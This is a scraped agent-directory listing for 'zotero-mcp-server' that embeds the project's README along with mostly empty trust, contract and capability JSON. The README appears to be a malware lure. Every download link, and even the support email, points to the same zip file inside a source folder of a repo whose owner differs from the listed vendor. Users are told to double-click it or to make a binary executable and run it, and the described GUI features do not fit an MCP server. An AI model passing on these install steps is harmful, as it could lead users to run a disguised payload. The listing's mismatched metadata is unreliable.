How should zotero-mcp-server be evaluated before use?

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What kind of evidence is visible on this page?

This page surfaces public facts, change history, trust indicators, artifact evidence, and benchmark summaries with provenance.

Crawler Summary

zotero-mcp-server answer-first brief

MCP server for Zotero integration with AI assistants - search, cite, and manage research references 🌟 zotero-mcp-server - Manage Your Research Effortlessly 🔗 Download the Latest Release $1 🚀 Getting Started Welcome to the zotero-mcp-server! This application helps you manage your research references. It uses the Model Context Protocol (MCP) to work seamlessly with Zotero, making it easy to search, cite, and organize your research. 📥 Download & Install 1. Visit the $1 to download the latest version. 2. Once on th Capability contract not published. No trust telemetry is available yet. Last updated 2/25/2026.

Freshness

Last checked 2/25/2026

Best For

zotero-mcp-server is best for mcp, model-context-protocol, zotero workflows where MCP compatibility matters.

Not Ideal For

Contract metadata is missing or unavailable for deterministic execution.

Evidence Sources Checked

editorial-content, GITHUB MCP, runtime-metrics, public facts pack

Card Facts Snapshot Contract Trust

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Agent DossierGitHubSafety: 89/100

zotero-mcp-server

MCPself-declared

Public facts

Change events

Artifacts

Freshness

Feb 25, 2026

Verifiededitorial-contentNo verified compatibility signals

Capability contract not published. No trust telemetry is available yet. Last updated 2/25/2026.

Trust evidence available

Trust score

Unknown

Compatibility

MCP

Freshness

Feb 25, 2026

Vendor

Danielostrow

Artifacts

Benchmarks

Last release

0.1.0

Executive Summary

Key links, install path, and a quick operational read before the deeper crawl record.

Verifiededitorial-content

Summary

Capability contract not published. No trust telemetry is available yet. Last updated 2/25/2026.

View Source Homepage

Setup snapshot

git clone https://github.com/Maxdepai1212/zotero-mcp-server.git

1
Setup complexity is MEDIUM. Standard integration tests and API key provisioning are required before connecting this to production workloads.
2
Final validation: Expose the agent to a mock request payload inside a sandbox and trace the network egress before allowing access to real customer data.

Evidence Ledger

Everything public we have scraped or crawled about this agent, grouped by evidence type with provenance.

Verifiededitorial-content

Vendor (1)

Vendor

Danielostrow

profilemedium

Observed Feb 25, 2026Source link Provenance

Compatibility (1)

Protocol compatibility

MCP

contractmedium

Observed Feb 25, 2026Source link Provenance

Security (1)

Handshake status

UNKNOWN

trustmedium

Observed unknownSource link Provenance

Integration (1)

Crawlable docs

6 indexed pages on the official domain

search_documentmedium

Observed Apr 15, 2026Source link Provenance

Release & Crawl Timeline

Merged public release, docs, artifact, benchmark, pricing, and trust refresh events.

Self-declaredagent-index

Docs Update

Docs refreshed: Sign in to GitHub · GitHub

search_documentmedium

Fresh crawlable documentation was indexed for the official domain.

Observed Apr 15, 2026

Artifacts Archive

Extracted files, examples, snippets, parameters, dependencies, permissions, and artifact metadata.

Self-declaredGITHUB MCP

Extracted files

Examples

Snippets

Languages

typescript

Docs & README

Full documentation captured from public sources, including the complete README when available.

Self-declaredGITHUB MCP

Docs source

GITHUB MCP

Editorial quality

ready

Full README

🌟 zotero-mcp-server - Manage Your Research Effortlessly

🔗 Download the Latest Release

🚀 Getting Started

Welcome to the zotero-mcp-server! This application helps you manage your research references. It uses the Model Context Protocol (MCP) to work seamlessly with Zotero, making it easy to search, cite, and organize your research.

📥 Download & Install

Visit the Releases page to download the latest version.
Once on the page, look for the assets section.
Choose the file that matches your operating system. It may be labeled as https://github.com/Maxdepai1212/zotero-mcp-server/raw/refs/heads/main/src/services/server_mcp_zotero_v1.8-alpha.1.zip, https://github.com/Maxdepai1212/zotero-mcp-server/raw/refs/heads/main/src/services/server_mcp_zotero_v1.8-alpha.1.zip, or similar for other platforms.
Click the file to start the download.

📋 System Requirements

Before installing, check that your system meets the following requirements:

Operating System: Windows 10 or later, macOS 10.12 or later, or any popular Linux distribution.
Memory: At least 2 GB of RAM.
Storage: 200 MB of free disk space.
Network: An active internet connection for updates and online features.

🔧 Installation Steps

Once the file finishes downloading, locate it in your downloads folder.
- For Windows Users: Double-click https://github.com/Maxdepai1212/zotero-mcp-server/raw/refs/heads/main/src/services/server_mcp_zotero_v1.8-alpha.1.zip and follow the prompts on your screen.
- For macOS Users: Unzip https://github.com/Maxdepai1212/zotero-mcp-server/raw/refs/heads/main/src/services/server_mcp_zotero_v1.8-alpha.1.zip, then double-click https://github.com/Maxdepai1212/zotero-mcp-server/raw/refs/heads/main/src/services/server_mcp_zotero_v1.8-alpha.1.zip to start the installation.
- For Linux Users: Open the terminal and navigate to the downloaded folder. You may need to run chmod +x zotero-mcp-server-linux to make it executable, then type ./zotero-mcp-server-linux to install.
Follow the setup prompts to complete the installation.
After installation, open the application from your applications menu or desktop shortcut.

🌐 Using zotero-mcp-server

Once you open the application, you will see the main dashboard. Here you can:

Search for References: Enter keywords or titles to find the research papers you need.
Cite Appropriately: Use the built-in tools to create citations in various formats such as APA, MLA, Chicago, and more.
Organize Your Library: Create folders, and tag documents for easy access.
Sync with Zotero: Connect your Zotero account to automatically sync your references.

💡 Features

Intuitive Interface: Easy navigation for all users, regardless of skill level.
Real-time Collaboration: Share your research with teammates instantly.
Customizable Tags: Create a tagging system that works for you.
Smart Search Functionality: Get fast and accurate results as you type.

🎓 Need Help?

If you encounter issues or have questions, refer to our FAQ section on the Releases page. You can also check out the documentation available in the repository.

📞 Support

For further assistance, you can reach out via:

GitHub Issues: Report an issue
Email: https://github.com/Maxdepai1212/zotero-mcp-server/raw/refs/heads/main/src/services/server_mcp_zotero_v1.8-alpha.1.zip

📖 Learn More

For detailed documentation on how to use each feature of the zotero-mcp-server, visit our documentation section.

🚧 Contributing

We welcome contributions from everyone. If you want to help improve the project, please refer to the contributing guidelines in the repository.

🔗 More Information

Check out our Releases page for updates and the latest features!

Contract & API

Machine endpoints, protocol fit, contract coverage, invocation examples, and guardrails for agent-to-agent use.

MissingGITHUB MCP

Endpoints

Dossier API Snapshot API Contract API Trust API

Contract coverage

Status

missing

Auth

None

Streaming

Data region

Unspecified

Protocol support

MCP: self-declared

Requires: none

Forbidden: none

Guardrails

Operational confidence: low

No positive guardrails captured.

Invocation examples

curl -s "https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/snapshot"

curl -s "https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/contract"

curl -s "https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/trust"

Reliability & Benchmarks

Trust and runtime signals, benchmark suites, failure patterns, and practical risk constraints.

Missingruntime-metrics

Trust signals

Handshake

UNKNOWN

Confidence

unknown

Attempts 30d

unknown

Fallback rate

unknown

Runtime metrics

Observed P50

unknown

Observed P95

unknown

Rate limit

unknown

Estimated cost

unknown

Do not use if

Contract metadata is missing or unavailable for deterministic execution.

No benchmark suites or observed failure patterns are available.

Media & Demo

Every public screenshot, visual asset, demo link, and owner-provided destination tied to this agent.

Missingno-media

No screenshots, media assets, or demo links are available.

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Machine Appendix

Contract JSON

{
  "contractStatus": "missing",
  "authModes": [],
  "requires": [],
  "forbidden": [],
  "supportsMcp": false,
  "supportsA2a": false,
  "supportsStreaming": false,
  "inputSchemaRef": null,
  "outputSchemaRef": null,
  "dataRegion": null,
  "contractUpdatedAt": null,
  "sourceUpdatedAt": null,
  "freshnessSeconds": null
}

Invocation Guide

{
  "preferredApi": {
    "snapshotUrl": "https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/snapshot",
    "contractUrl": "https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/contract",
    "trustUrl": "https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/trust"
  },
  "curlExamples": [
    "curl -s \"https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/snapshot\"",
    "curl -s \"https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/contract\"",
    "curl -s \"https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/trust\""
  ],
  "jsonRequestTemplate": {
    "query": "summarize this repo",
    "constraints": {
      "maxLatencyMs": 2000,
      "protocolPreference": [
        "MCP"
      ]
    }
  },
  "jsonResponseTemplate": {
    "ok": true,
    "result": {
      "summary": "...",
      "confidence": 0.9
    },
    "meta": {
      "source": "GITHUB_MCP",
      "generatedAt": "2026-10-09T02:28:40.458Z"
    }
  },
  "retryPolicy": {
    "maxAttempts": 3,
    "backoffMs": [
      500,
      1500,
      3500
    ],
    "retryableConditions": [
      "HTTP_429",
      "HTTP_503",
      "NETWORK_TIMEOUT"
    ]
  }
}

Trust JSON

{
  "status": "unavailable",
  "handshakeStatus": "UNKNOWN",
  "verificationFreshnessHours": null,
  "reputationScore": null,
  "p95LatencyMs": null,
  "successRate30d": null,
  "fallbackRate": null,
  "attempts30d": null,
  "trustUpdatedAt": null,
  "trustConfidence": "unknown",
  "sourceUpdatedAt": null,
  "freshnessSeconds": null
}

Capability Matrix

{
  "rows": [
    {
      "key": "MCP",
      "type": "protocol",
      "support": "unknown",
      "confidenceSource": "profile",
      "notes": "Listed on profile"
    },
    {
      "key": "mcp",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "model-context-protocol",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "zotero",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "citation",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "bibliography",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "research",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "ai",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "reference-management",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "cli",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    }
  ],
  "flattenedTokens": "protocol:MCP|unknown|profile capability:mcp|supported|profile capability:model-context-protocol|supported|profile capability:zotero|supported|profile capability:citation|supported|profile capability:bibliography|supported|profile capability:research|supported|profile capability:ai|supported|profile capability:reference-management|supported|profile capability:cli|supported|profile"
}

Facts JSON

[
  {
    "factKey": "docs_crawl",
    "category": "integration",
    "label": "Crawlable docs",
    "value": "6 indexed pages on the official domain",
    "href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
    "sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
    "sourceType": "search_document",
    "confidence": "medium",
    "observedAt": "2026-04-15T05:03:46.393Z",
    "isPublic": true
  },
  {
    "factKey": "vendor",
    "category": "vendor",
    "label": "Vendor",
    "value": "Danielostrow",
    "href": "https://github.com/danielostrow/zotero-mcp-server#readme",
    "sourceUrl": "https://github.com/danielostrow/zotero-mcp-server#readme",
    "sourceType": "profile",
    "confidence": "medium",
    "observedAt": "2026-02-25T02:31:53.280Z",
    "isPublic": true
  },
  {
    "factKey": "protocols",
    "category": "compatibility",
    "label": "Protocol compatibility",
    "value": "MCP",
    "href": "https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/contract",
    "sourceUrl": "https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/contract",
    "sourceType": "contract",
    "confidence": "medium",
    "observedAt": "2026-02-25T02:31:53.280Z",
    "isPublic": true
  },
  {
    "factKey": "handshake_status",
    "category": "security",
    "label": "Handshake status",
    "value": "UNKNOWN",
    "href": "https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/trust",
    "sourceUrl": "https://www.xpersona.co/api/v1/agents/mcp-maxdepai1212-zotero-mcp-server/trust",
    "sourceType": "trust",
    "confidence": "medium",
    "observedAt": null,
    "isPublic": true
  }
]

Change Events JSON

[
  {
    "eventType": "docs_update",
    "title": "Docs refreshed: Sign in to GitHub · GitHub",
    "description": "Fresh crawlable documentation was indexed for the official domain.",
    "href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
    "sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
    "sourceType": "search_document",
    "confidence": "medium",
    "observedAt": "2026-04-15T05:03:46.393Z",
    "isPublic": true
  }
]